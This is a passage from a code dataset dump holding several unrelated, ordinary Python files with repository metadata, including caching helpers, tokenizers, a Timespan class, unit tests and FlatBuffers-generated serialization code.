] | null | null | null | nmail/resources/common.py | allexlima/nMail | c1e2c96da702d1e3510a6f2547a5f379c7cf3a64 | [
"MIT"
] | null | null | null | nmail/resources/common.py | allexlima/nMail | c1e2c96da702d1e3510a6f2547a5f379c7cf3a64 | [
"MIT"
] | 2 | 2017-09-05T23:27:21.000Z | 2017-11-01T03:03:11.000Z | from flask_restful import Resource
from werkzeug.contrib.cache import SimpleCache
cache = SimpleCache()
def caching(key, value):
cached = cache.get(key)
if cached is None:
cached = value
cache.set(key, cached, 30*60)
return cached
class Home(Resource):
def __init__(self):
self.message = {"message": "Hello World"}
def get(self):
return self.message
def post(self):
return self.message
| 19.041667 | 49 | 0.647702 | 58 | 457 | 5.017241 | 0.517241 | 0.113402 | 0.09622 | 0.14433 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011765 | 0.256018 | 457 | 23 | 50 | 19.869565 | 0.844118 | 0 | 0 | 0.125 | 0 | 0 | 0.039387 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0.125 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
a751e7cf3c2323f79050ff208c583f622e76c09d | 879 | py | Python | vtsapi/response.py | gomory-chvatal/vtube-studio-api | 2d6673796cb7f0b96e293f972ab807e89dddb3fb | [
"MIT"
] | null | null | null | vtsapi/response.py | gomory-chvatal/vtube-studio-api | 2d6673796cb7f0b96e293f972ab807e89dddb3fb | [
"MIT"
] | null | null | null | vtsapi/response.py | gomory-chvatal/vtube-studio-api | 2d6673796cb7f0b96e293f972ab807e89dddb3fb | [
"MIT"
] | null | null | null | # standard libraries
from datetime import datetime
import json
# local libraries
from vtsapi.exceptions import *
class VTSResponse(object):
"""Docstring goes here!"""
def __init__(self, payload):
self._payload = json.loads(payload)
self._id = int(self._payload['requestID'])
self._vts_timestamp = int(self._payload['timestamp'])
self._recv_time = int(datetime.now().timestamp()*1000)
self._msg_type = self._payload['messageType']
self._data = self._payload['data']
@property
def id(self):
return self._id
@property
def vts_timestamp(self):
return self._vts_timestamp
@property
def recv_time(self):
return self._recv_time
@property
def msg_type(self):
return self._msg_type
@property
def data(self):
return self._data
| 21.975 | 62 | 0.63595 | 102 | 879 | 5.205882 | 0.343137 | 0.124294 | 0.131827 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006154 | 0.260523 | 879 | 39 | 63 | 22.538462 | 0.810769 | 0.063709 | 0 | 0.192308 | 0 | 0 | 0.040441 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.115385 | 0.192308 | 0.576923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
a75594ebf0521da9e5fe54c2f3ded2ce7a0dfabf | 288 | py | Python | libs/yowsup/yowsup/yowsup/layers/network/layer_interface.py | akshitpradhan/TomHack | 837226e7b38de1140c19bc2d478eeb9e379ed1fd | [
"MIT"
] | 22 | 2017-07-14T20:01:17.000Z | 2022-03-08T14:22:39.000Z | libs/yowsup/yowsup/yowsup/layers/network/layer_interface.py | akshitpradhan/TomHack | 837226e7b38de1140c19bc2d478eeb9e379ed1fd | [
"MIT"
] | 6 | 2017-07-14T21:03:50.000Z | 2021-06-10T19:08:32.000Z | libs/yowsup/yowsup/yowsup/layers/network/layer_interface.py | akshitpradhan/TomHack | 837226e7b38de1140c19bc2d478eeb9e379ed1fd | [
"MIT"
] | 13 | 2017-07-14T20:13:14.000Z | 2020-11-12T08:06:05.000Z | from yowsup.layers import YowLayerInterface
class YowNetworkLayerInterface(YowLayerInterface):
def connect(self):
self._layer.createConnection()
def disconnect(self):
self._layer.destroyConnection()
def getStatus(self):
return self._layer.getStatus() | 28.8 | 50 | 0.729167 | 27 | 288 | 7.666667 | 0.592593 | 0.130435 | 0.125604 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184028 | 288 | 10 | 51 | 28.8 | 0.880851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0 | 0.125 | 0.125 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
a760cbec8692c29cb24a7667f347ef9531608ab1 | 577 | py | Python | src/cache.py | mpavezb/CarND-Advanced-Lane-Lines | 54be9a169b8dc960cafd6ab288f95af054de4a34 | [
"MIT"
] | null | null | null | src/cache.py | mpavezb/CarND-Advanced-Lane-Lines | 54be9a169b8dc960cafd6ab288f95af054de4a34 | [
"MIT"
] | null | null | null | src/cache.py | mpavezb/CarND-Advanced-Lane-Lines | 54be9a169b8dc960cafd6ab288f95af054de4a34 | [
"MIT"
] | null | null | null | import pickle
import os
from .logger import Log
from .save import chmod_rw_all
class Cache:
def __init__(self, fname):
self.fname = "pickle/" + fname
def exists(self):
return os.path.isfile(self.fname)
def save(self, data):
Log.subsection("Saving data to pickle file: %s" % self.fname)
pickle.dump(data, open(self.fname, "w+b"))
chmod_rw_all(self.fname)
def load(self):
Log.subsection("Loading data from pickle file: %s" % self.fname)
data = pickle.load(open(self.fname, "r+b"))
return data
| 24.041667 | 72 | 0.629116 | 83 | 577 | 4.277108 | 0.39759 | 0.202817 | 0.056338 | 0.084507 | 0.112676 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.247834 | 577 | 23 | 73 | 25.086957 | 0.817972 | 0 | 0 | 0 | 0 | 0 | 0.131716 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.235294 | 0.058824 | 0.647059 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
a76d3e74178ed9429a40bccebad0c01d701e8348 | 915 | py | Python | UNF/data/tokenizer.py | waterzxj/UNF | 5eda8e7c60116735f595f4b21b24547708b36cf5 | [
"Apache-2.0"
] | 86 | 2020-02-23T13:38:11.000Z | 2022-03-01T12:09:28.000Z | UNF/data/tokenizer.py | Dreamliking/UNF | 5eda8e7c60116735f595f4b21b24547708b36cf5 | [
"Apache-2.0"
] | 2 | 2020-04-20T08:33:05.000Z | 2020-05-13T13:43:08.000Z | UNF/data/tokenizer.py | Dreamliking/UNF | 5eda8e7c60116735f595f4b21b24547708b36cf5 | [
"Apache-2.0"
] | 14 | 2020-03-07T05:21:44.000Z | 2021-05-09T16:57:23.000Z | #coding:utf-8
"""
对分词的抽象
"""
class BaseTokenizer(object):
"""
Tokenize的基类
"""
def __init__(self):
pass
def __call__(self, x):
return self.tokenize(x)
def tokenize(self, x):
raise Exception("Not Implemented!")
class WhitespaceTokenizer(BaseTokenizer):
"""
空格切分
"""
def __init__(self):
super(WhitespaceTokenizer, self).__init__()
def tokenize(self, x):
return x.split()
class SpacyTokenizer(BaseTokenizer):
"""
spacy切分
"""
def __init__(self, language):
super(SpacyTokenizer, self).__init__()
self.language = language
self.init()
def init(self):
import spacy
self.spacy = spacy.load(self.language)
def tokenize(self, x):
return [tok.text for tok in self.spacy.tokenizer(x)]
if __name__ == "__main__":
print(WhitespaceTokenizer("a b c"))
| 17.941176 | 60 | 0.593443 | 96 | 915 | 5.322917 | 0.4375 | 0.078278 | 0.086106 | 0.093933 | 0.086106 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001515 | 0.278689 | 915 | 50 | 61 | 18.3 | 0.772727 | 0.048087 | 0 | 0.208333 | 0 | 0 | 0.035452 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.041667 | 0.041667 | 0.125 | 0.625 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
a787b4165d6759763189fc8bd181cedb905bc4e3 | 105 | py | Python | ex112.py | RodrigoMoro3736/Python | 14ae88b81c252c1235ac0f904d0f77a8db870078 | [
"MIT"
] | null | null | null | ex112.py | RodrigoMoro3736/Python | 14ae88b81c252c1235ac0f904d0f77a8db870078 | [
"MIT"
] | null | null | null | ex112.py | RodrigoMoro3736/Python | 14ae88b81c252c1235ac0f904d0f77a8db870078 | [
"MIT"
] | null | null | null | from utilidadescev import dado, moeda
p = dado.leiaDinheiro('Digite o preço R$')
moeda.resumo(p, 35, 22)
| 26.25 | 42 | 0.742857 | 17 | 105 | 4.588235 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043956 | 0.133333 | 105 | 3 | 43 | 35 | 0.813187 | 0 | 0 | 0 | 0 | 0 | 0.161905 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
a788506fc8ce187692a961b94b1f7edcab3e474a | 5,096 | py | Python | src/python/tests/core/bot/tasks/analyze_task_test.py | avineshwar/clusterfuzz | cd72fc66fb5cd4013196662c3564339a940e1c41 | [
"Apache-2.0"
] | null | null | null | src/python/tests/core/bot/tasks/analyze_task_test.py | avineshwar/clusterfuzz | cd72fc66fb5cd4013196662c3564339a940e1c41 | [
"Apache-2.0"
] | null | null | null | src/python/tests/core/bot/tasks/analyze_task_test.py | avineshwar/clusterfuzz | cd72fc66fb5cd4013196662c3564339a940e1c41 | [
"Apache-2.0"
] | 1 | 2020-04-25T16:37:10.000Z | 2020-04-25T16:37:10.000Z | # Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for analyze task."""
import unittest
from tests.test_libs import helpers
from tests.test_libs import test_utils
from bot.tasks import analyze_task
@test_utils.with_cloud_emulators("datastore")
class AddDefaultIssueMetadataTest(unittest.TestCase):
"""Test _add_default_issue_metadata."""
def setUp(self):
helpers.patch(
self,
[
"bot.fuzzers.engine_common.get_all_issue_metadata_for_testcase",
# Disable logging.
"datastore.data_types.Testcase._post_put_hook",
"metrics.logs.log",
],
)
def test_union(self):
"""Test union of current testcase metadata and default issue metadata."""
self.mock.get_all_issue_metadata_for_testcase.return_value = {
"issue_owners": "dev1@example1.com, dev2@example2.com",
"issue_components": "component1",
"issue_labels": "label1, label2 ,label3",
}
testcase = test_utils.create_generic_testcase()
testcase.set_metadata("issue_owners", "dev3@example3.com,dev2@example2.com")
testcase.set_metadata("issue_components", "component2")
testcase.set_metadata("issue_labels", "label4,label5, label2,")
analyze_task._add_default_issue_metadata(testcase) # pylint: disable=protected-access
self.assertEqual(
"dev1@example1.com,dev2@example2.com,dev3@example3.com",
testcase.get_metadata("issue_owners"),
)
self.assertEqual("component1,component2",
testcase.get_metadata("issue_components"))
self.assertEqual("label1,label2,label3,label4,label5",
testcase.get_metadata("issue_labels"))
self.assertEqual(3, self.mock.log.call_count)
def test_no_testcase_metadata(self):
"""Test when we only have default issue metadata and no testcase
metadata."""
self.mock.get_all_issue_metadata_for_testcase.return_value = None
testcase = test_utils.create_generic_testcase()
testcase.set_metadata("issue_owners", "dev1@example1.com,dev2@example2.com")
testcase.set_metadata("issue_components", "component1")
testcase.set_metadata("issue_labels", "label1,label2,label3")
analyze_task._add_default_issue_metadata(testcase) # pylint: disable=protected-access
self.assertEqual("dev1@example1.com,dev2@example2.com",
testcase.get_metadata("issue_owners"))
self.assertEqual("component1", testcase.get_metadata("issue_components"))
self.assertEqual("label1,label2,label3",
testcase.get_metadata("issue_labels"))
self.assertEqual(0, self.mock.log.call_count)
def test_no_default_issue_metadata(self):
"""Test when we only have testcase metadata and no default issue
metadata."""
self.mock.get_all_issue_metadata_for_testcase.return_value = {
"issue_owners": "dev1@example1.com,dev2@example2.com",
"issue_components": "component1",
"issue_labels": "label1,label2,label3",
}
testcase = test_utils.create_generic_testcase()
analyze_task._add_default_issue_metadata(testcase) # pylint: disable=protected-access
self.assertEqual("dev1@example1.com,dev2@example2.com",
testcase.get_metadata("issue_owners"))
self.assertEqual("component1", testcase.get_metadata("issue_components"))
self.assertEqual("label1,label2,label3",
testcase.get_metadata("issue_labels"))
self.assertEqual(3, self.mock.log.call_count)
def test_same_testcase_and_default_issue_metadata(self):
"""Test when we have same testcase metadata and default issue metadata."""
self.mock.get_all_issue_metadata_for_testcase.return_value = {
"issue_owners": "dev1@example1.com,dev2@example2.com",
"issue_components": "component1",
"issue_labels": "label1,label2,label3",
}
testcase = test_utils.create_generic_testcase()
testcase.set_metadata("issue_owners", "dev1@example1.com,dev2@example2.com")
testcase.set_metadata("issue_components", "component1")
testcase.set_metadata("issue_labels", "label1,label2,label3")
analyze_task._add_default_issue_metadata(testcase) # pylint: disable=protected-access
self.assertEqual("dev1@example1.com,dev2@example2.com",
testcase.get_metadata("issue_owners"))
self.assertEqual("component1", testcase.get_metadata("issue_components"))
self.assertEqual("label1,label2,label3",
testcase.get_metadata("issue_labels"))
self.assertEqual(0, self.mock.log.call_count)
| 42.823529 | 90 | 0.718603 | 623 | 5,096 | 5.64366 | 0.229535 | 0.077645 | 0.064846 | 0.081911 | 0.734357 | 0.71132 | 0.702787 | 0.672639 | 0.669511 | 0.638225 | 0 | 0.022959 | 0.170918 | 5,096 | 118 | 91 | 43.186441 | 0.809231 | 0.203493 | 0 | 0.582278 | 0 | 0 | 0.307384 | 0.123404 | 0 | 0 | 0 | 0 | 0.202532 | 1 | 0.063291 | false | 0 | 0.050633 | 0 | 0.126582 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a7b7739af4f688d393b979c7da66715d86698c41 | 6,531 | py | Python | circle/tests.py | NickLowery/StoryCircles | e1d4c12973a6e369e52bca37d35c98e630953028 | [
"BSD-3-Clause"
] | null | null | null | circle/tests.py | NickLowery/StoryCircles | e1d4c12973a6e369e52bca37d35c98e630953028 | [
"BSD-3-Clause"
] | null | null | null | circle/tests.py | NickLowery/StoryCircles | e1d4c12973a6e369e52bca37d35c98e630953028 | [
"BSD-3-Clause"
] | null | null | null | import itertools
from django.test import TestCase
from .rules import validate_word, validate_title
from channels.testing import WebsocketCommunicator
from channels.db import database_sync_to_async
from storycircles.asgi import application as asgi_app
from asgiref.sync import async_to_sync, sync_to_async
from circle.models import User
# Create your tests here.
class ValidateWordTestCase(TestCase):
def test_simplest_case(self):
self.assertEqual((True, " expeditiously"), validate_word("expeditiously", "disembarked")[:-1])
def test_first_word(self):
self.assertEqual((True, "Expeditiously"), validate_word("expeditiously", "")[:-1])
self.assertEqual((True, "I"), validate_word("i", "")[:-1])
self.assertEqual((True, "I"), validate_word("I", "")[:-1])
self.assertFalse(validate_word(", i", "")[0])
self.assertFalse(validate_word("-livered", "")[0])
self.assertFalse(validate_word(".", "")[0])
self.assertFalse(validate_word(" ", "")[0])
self.assertFalse(validate_word(" i", "")[0])
def test_comma(self):
"""After a word, the next 'word' can be of the form ', word'."""
self.assertEqual((True, ", and"), validate_word(", and", "disembarked")[:-1])
self.assertEqual((True, ", Robert"), validate_word(", Robert", "disembarked")[:-1])
self.assertEqual((True, ", hasn't"), validate_word(", hasn't", "disembarked")[:-1])
def test_invalid_commas(self):
"""Comma should fail anywhere else in a word submission, and followed by or following any punctuation"""
self.assertFalse(validate_word(",", "text")[0])
self.assertFalse(validate_word(", ", "text")[0])
self.assertFalse(validate_word(", ,", "text")[0])
self.assertFalse(validate_word(", !", "text")[0])
self.assertFalse(validate_word(", ?", "text")[0])
self.assertFalse(validate_word(", .", "text")[0])
self.assertFalse(validate_word(", ..", "text")[0])
self.assertFalse(validate_word(", -ending", "text")[0])
self.assertFalse(validate_word(",word", "text")[0])
self.assertFalse(validate_word(", wo,rd", "text")[0])
self.assertFalse(validate_word("wo,rd", "text")[0])
self.assertFalse(validate_word(", and", "ending.")[0])
self.assertFalse(validate_word(", and", "ending?")[0])
self.assertFalse(validate_word(", and", "ending!")[0])
self.assertFalse(validate_word(", and", "")[0])
def test_title_case(self):
"""After sentence-ending punctuation or newline, the next word should be
capitalized."""
self.assertEqual((True, " I"), validate_word("i", "ending.")[:-1])
self.assertEqual((True, " Island"), validate_word("island", "ending.")[:-1])
self.assertEqual((True, " I'm"), validate_word("i'm", "ending.")[:-1])
self.assertEqual((True, " I"), validate_word("i", "ending.\n")[:-1])
self.assertEqual((True, " Island"), validate_word("island", "ending.\n")[:-1])
self.assertEqual((True, " I'm"), validate_word("i'm", "ending.\n")[:-1])
def test_sentence_ending(self):
"""Sentence-ending should work only by itself and after a word"""
for punct in [".", "!", "?"]:
self.assertEqual((True, punct), validate_word(punct, "word")[:-1])
self.assertEqual((True, punct), validate_word(punct, "isn't")[:-1])
self.assertEqual((True, punct), validate_word(punct, "lily-livered")[:-1])
self.assertFalse(validate_word(punct, "ending.\n")[0])
for (p1,p2) in itertools.product([".", "!", "?"], repeat=2):
self.assertFalse(validate_word(p1, ("ending" + p2))[0])
for (word, text) in itertools.product(['word.', 'word?', 'word!'],['word', 'ending.',
"isn't", "lily-livered"]):
self.assertFalse(validate_word(word, text)[0])
def test_space(self):
"""Any submission with a space in it other than ', word' should fail"""
for (word, text) in itertools.product([' ', ' word', 'a b'],['word', 'ending.',
"isn't", "lily-livered"]):
self.assertFalse(validate_word(word, text)[0])
def test_hyphenation(self):
""" Hyphenation should work by adding a hyphen and a word, only after a word """
text = 'anxiety'
hyphen_word = '-ridden'
self.assertEqual((True, hyphen_word), validate_word(hyphen_word, text)[:-1])
# A hyphen by itself or followed by punctuation should always fail
for text in ('word', 'ending.', "isn't"):
self.assertFalse(validate_word("-", text)[0])
self.assertFalse(validate_word("-.", text)[0])
self.assertFalse(validate_word("-!", text)[0])
self.assertFalse(validate_word("-?", text)[0])
self.assertFalse(validate_word("-'", text)[0])
# A hyphen inside a word should fail
self.assertFalse(validate_word("lily-livered", "text")[0])
class ValidateTitleTestCase(TestCase):
def test_empty(self):
self.assertFalse(validate_title(""))
def test_no_letters(self):
self.assertFalse(validate_title(" "))
self.assertFalse(validate_title(" "))
self.assertFalse(validate_title("9"))
self.assertFalse(validate_title("0"))
self.assertFalse(validate_title("130 3940"))
def test_consecutive_spaces(self):
self.assertFalse(validate_title("Jaws 2"))
def test_initial_spaces(self):
self.assertFalse(validate_title(" Jaws 2"))
def test_final_spaces(self):
self.assertFalse(validate_title("Jaws 2 "))
def test_valid(self):
self.assertTrue(validate_title("a"))
self.assertTrue(validate_title("Title"))
self.assertTrue(validate_title("Rambo 9"))
self.assertTrue(validate_title("7 Samurai"))
self.assertTrue(validate_title("The end of the world"))
self.assertTrue(validate_title("X9134457914 390281795"))
def test_disallowed_characters(self):
self.assertFalse(validate_title("a ."))
self.assertFalse(validate_title("a ,"))
self.assertFalse(validate_title("a '"))
self.assertFalse(validate_title("a \""))
self.assertFalse(validate_title("a ["))
self.assertFalse(validate_title("a {"))
self.assertFalse(validate_title("a <"))
self.assertFalse(validate_title("a \n"))
| 49.105263 | 112 | 0.613689 | 760 | 6,531 | 5.131579 | 0.173684 | 0.147692 | 0.277179 | 0.207692 | 0.560513 | 0.520256 | 0.511538 | 0.476154 | 0.381538 | 0.355897 | 0 | 0.016511 | 0.211759 | 6,531 | 132 | 113 | 49.477273 | 0.741064 | 0.08651 | 0 | 0.115385 | 0 | 0 | 0.1158 | 0 | 0 | 0 | 0 | 0 | 0.673077 | 1 | 0.144231 | false | 0 | 0.076923 | 0 | 0.240385 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a7d3b334851e2f108ddd7d721f9bc1ab9325e113 | 1,348 | py | Python | entities/timespan.py | ktodorov/historical-ocr | d4d7bf0addf5ff98b7182c00ff716e79c97e050e | [
"MIT"
] | 9 | 2020-08-27T15:03:46.000Z | 2022-01-02T10:48:35.000Z | entities/timespan.py | ktodorov/historical-ocr | d4d7bf0addf5ff98b7182c00ff716e79c97e050e | [
"MIT"
] | 16 | 2020-09-12T17:37:59.000Z | 2020-11-18T10:36:32.000Z | src/entities/timespan.py | budh333/UnSilence_VOC | 3ba8f302f82df2d512d453c6b76dffb50d4f64db | [
"MIT"
] | 1 | 2022-03-08T16:16:52.000Z | 2022-03-08T16:16:52.000Z | class Timespan:
def __init__(
self,
days: int = 0,
hours: int = 0,
minutes: int = 0,
seconds: int = 0,
milliseconds: int = 0):
conv_days = days * 3600 * 24 * 1000
conv_hours = hours * 3600000
conv_minutes = minutes * 60000
conv_seconds = seconds * 1000
self._time = conv_days + conv_hours + conv_minutes + conv_seconds + milliseconds
@property
def milliseconds(self) -> int:
return self._time
@property
def seconds(self) -> int:
return int(self._time / 1000)
@property
def minutes(self) -> int:
return int(self._time / 60000)
@property
def hours(self) -> int:
return int(self._time / 3600000)
@property
def days(self) -> int:
return int(self._time / (3600 * 24 * 1000))
@classmethod
def from_days(cls, days: int):
return cls(days=days)
@classmethod
def from_hours(cls, hours: int):
return cls(hours=hours)
@classmethod
def from_minutes(cls, minutes: int):
return cls(minutes=minutes)
@classmethod
def from_seconds(cls, seconds: int):
return cls(seconds=seconds)
@classmethod
def from_milliseconds(cls, milliseconds: int):
return cls(milliseconds=milliseconds)
| 24.071429 | 88 | 0.583828 | 154 | 1,348 | 4.961039 | 0.155844 | 0.117801 | 0.085079 | 0.08377 | 0.125654 | 0.125654 | 0 | 0 | 0 | 0 | 0 | 0.062092 | 0.318991 | 1,348 | 55 | 89 | 24.509091 | 0.770153 | 0 | 0 | 0.232558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.255814 | false | 0 | 0 | 0.232558 | 0.511628 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ac2e15e15228823cd997885979e8cb9d3b672cbc | 676 | py | Python | libxlsxwriter/test/functional/test_default_row.py | White-116/xlsxd | b7f467cda76e93dd17bc7aaa2879e6c112ce4cf9 | [
"BSD-3-Clause"
] | 7 | 2019-07-24T14:25:45.000Z | 2022-03-06T04:29:39.000Z | libxlsxwriter/test/functional/test_default_row.py | White-116/xlsxd | b7f467cda76e93dd17bc7aaa2879e6c112ce4cf9 | [
"BSD-3-Clause"
] | 14 | 2019-07-03T11:03:05.000Z | 2022-01-18T13:55:13.000Z | libxlsxwriter/test/functional/test_default_row.py | White-116/xlsxd | b7f467cda76e93dd17bc7aaa2879e6c112ce4cf9 | [
"BSD-3-Clause"
] | 3 | 2019-08-06T21:35:29.000Z | 2021-07-08T08:11:34.000Z | ###############################################################################
#
# Tests for libxlsxwriter.
#
# Copyright 2014-2019, John McNamara, jmcnamara@cpan.org
#
import base_test_class
class TestCompareXLSXFiles(base_test_class.XLSXBaseTest):
"""
Test file created with libxlsxwriter against a file created by Excel.
"""
def test_default_row01(self):
self.run_exe_test('test_default_row01')
def test_default_row02(self):
self.run_exe_test('test_default_row02')
def test_default_row03(self):
self.run_exe_test('test_default_row03')
def test_default_row05(self):
self.run_exe_test('test_default_row05')
| 25.037037 | 79 | 0.640533 | 80 | 676 | 5.0625 | 0.4125 | 0.217284 | 0.138272 | 0.138272 | 0.28642 | 0.28642 | 0.28642 | 0 | 0 | 0 | 0 | 0.042403 | 0.162722 | 676 | 26 | 80 | 26 | 0.673145 | 0.221893 | 0 | 0 | 0 | 0 | 0.169014 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.1 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ac5685f919622af5e4a1e5863a8454778b2eaa3e | 2,917 | py | Python | python/DeepSeaVectorDraw/BezierCommand.py | akb825/DeepSea | fff790d0a472cf2f9f89de653e0b4470ce605d24 | [
"Apache-2.0"
] | 5 | 2018-11-17T23:13:22.000Z | 2021-09-30T13:37:04.000Z | python/DeepSeaVectorDraw/BezierCommand.py | akb825/DeepSea | fff790d0a472cf2f9f89de653e0b4470ce605d24 | [
"Apache-2.0"
] | null | null | null | python/DeepSeaVectorDraw/BezierCommand.py | akb825/DeepSea | fff790d0a472cf2f9f89de653e0b4470ce605d24 | [
"Apache-2.0"
] | 2 | 2019-09-23T12:23:35.000Z | 2020-04-07T05:31:06.000Z | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: DeepSeaVectorDraw
import flatbuffers
from flatbuffers.compat import import_numpy
np = import_numpy()
class BezierCommand(object):
__slots__ = ['_tab']
@classmethod
def GetRootAs(cls, buf, offset=0):
n = flatbuffers.encode.Get(flatbuffers.packer.uoffset, buf, offset)
x = BezierCommand()
x.Init(buf, n + offset)
return x
@classmethod
def GetRootAsBezierCommand(cls, buf, offset=0):
"""This method is deprecated. Please switch to GetRootAs."""
return cls.GetRootAs(buf, offset)
# BezierCommand
def Init(self, buf, pos):
self._tab = flatbuffers.table.Table(buf, pos)
# BezierCommand
def Control1(self):
o = flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(4))
if o != 0:
x = o + self._tab.Pos
from DeepSeaVectorDraw.Vector2f import Vector2f
obj = Vector2f()
obj.Init(self._tab.Bytes, x)
return obj
return None
# BezierCommand
def Control2(self):
o = flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(6))
if o != 0:
x = o + self._tab.Pos
from DeepSeaVectorDraw.Vector2f import Vector2f
obj = Vector2f()
obj.Init(self._tab.Bytes, x)
return obj
return None
# BezierCommand
def End(self):
o = flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(8))
if o != 0:
x = o + self._tab.Pos
from DeepSeaVectorDraw.Vector2f import Vector2f
obj = Vector2f()
obj.Init(self._tab.Bytes, x)
return obj
return None
def Start(builder): builder.StartObject(3)
def BezierCommandStart(builder):
"""This method is deprecated. Please switch to Start."""
return Start(builder)
def AddControl1(builder, control1): builder.PrependStructSlot(0, flatbuffers.number_types.UOffsetTFlags.py_type(control1), 0)
def BezierCommandAddControl1(builder, control1):
"""This method is deprecated. Please switch to AddControl1."""
return AddControl1(builder, control1)
def AddControl2(builder, control2): builder.PrependStructSlot(1, flatbuffers.number_types.UOffsetTFlags.py_type(control2), 0)
def BezierCommandAddControl2(builder, control2):
"""This method is deprecated. Please switch to AddControl2."""
return AddControl2(builder, control2)
def AddEnd(builder, end): builder.PrependStructSlot(2, flatbuffers.number_types.UOffsetTFlags.py_type(end), 0)
def BezierCommandAddEnd(builder, end):
"""This method is deprecated. Please switch to AddEnd."""
return AddEnd(builder, end)
def End(builder): return builder.EndObject()
def BezierCommandEnd(builder):
"""This method is deprecated. Please switch to End."""
